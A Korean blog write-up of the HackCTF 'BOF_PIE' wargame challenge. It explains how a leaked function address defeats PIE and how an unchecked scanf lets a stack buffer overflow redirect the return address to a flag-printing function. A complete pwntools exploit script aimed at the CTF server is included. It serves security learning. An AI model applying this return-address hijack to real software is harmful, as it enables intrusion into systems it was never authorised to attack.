BOF_PIE

2022. 3. 19. 14:25wargame/HACKCTF

PIE가 적용된 문제입니다.

 

디버거를 통해 동작을 확인해보겠습니다.

먼저 welcome 함수를 실행합니다.

 

위와 같은 문자열을 출력 후 아래와 같이 j0n9hyun is (welcome 함수의 주소)를 출력합니다.

 

이후 scanf 함수를 통해 ebp - 0x12에 위치한 배열에 데이터를 입력할 수 있습니다.

 

여기서 길이에 대한 검증이 없어 BOF 공격을 할 수 있습니다.

그리고 함수가 종료됩니다. 그리고 main 함수에서 "Nah..."라는 문자열을 출력한 후 프로그램이 종료됩니다.

 

 

nm 명령어를 통해 다른 함수를 찾던 중 j0n9hyun이라는 함수를 찾았습니다.

해당 함수는 flag 파일을 읽고 출력해주는 함수입니다.

 

welcome 함수에서 PIE 보호 기법이 적용된 상태의 함수의 주소를 알 수 있습니다. 

이를 통해 j0n9hyun 함수의 주소 또한 구할 수 있게 됩니다.

 

scanf 함수에서 BOF 공격을 할 수 있기 때문에 RET를 j0n9hyun의 주소로 변조시켜 FLAG를 출력시키도록 하겠습니다.

 

코드와 결과는 아래와 같습니다.

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3008)
e = ELF("./bof_pie")

r.recvuntil("is ")
welcome = r.recvn(10)
welcome = int(welcome, 16)

print("[+] welcome address is ", hex(welcome))

flag = welcome - (e.symbols['welcome'] - e.symbols['j0n9hyun'])

payload = b"A" * 0x12 + b"B" * 0x4 + p32(flag)
r.sendline(payload)

r.interactive()

'wargame > HACKCTF' 카테고리의 다른 글

RTL_World  (0) 2022.03.23
Yes or no  (0) 2022.03.19
Offset  (0) 2022.03.19
Simple_Overflow_ver_2  (0) 2022.03.19
x64 Simple_size_BOF  (0) 2022.03.19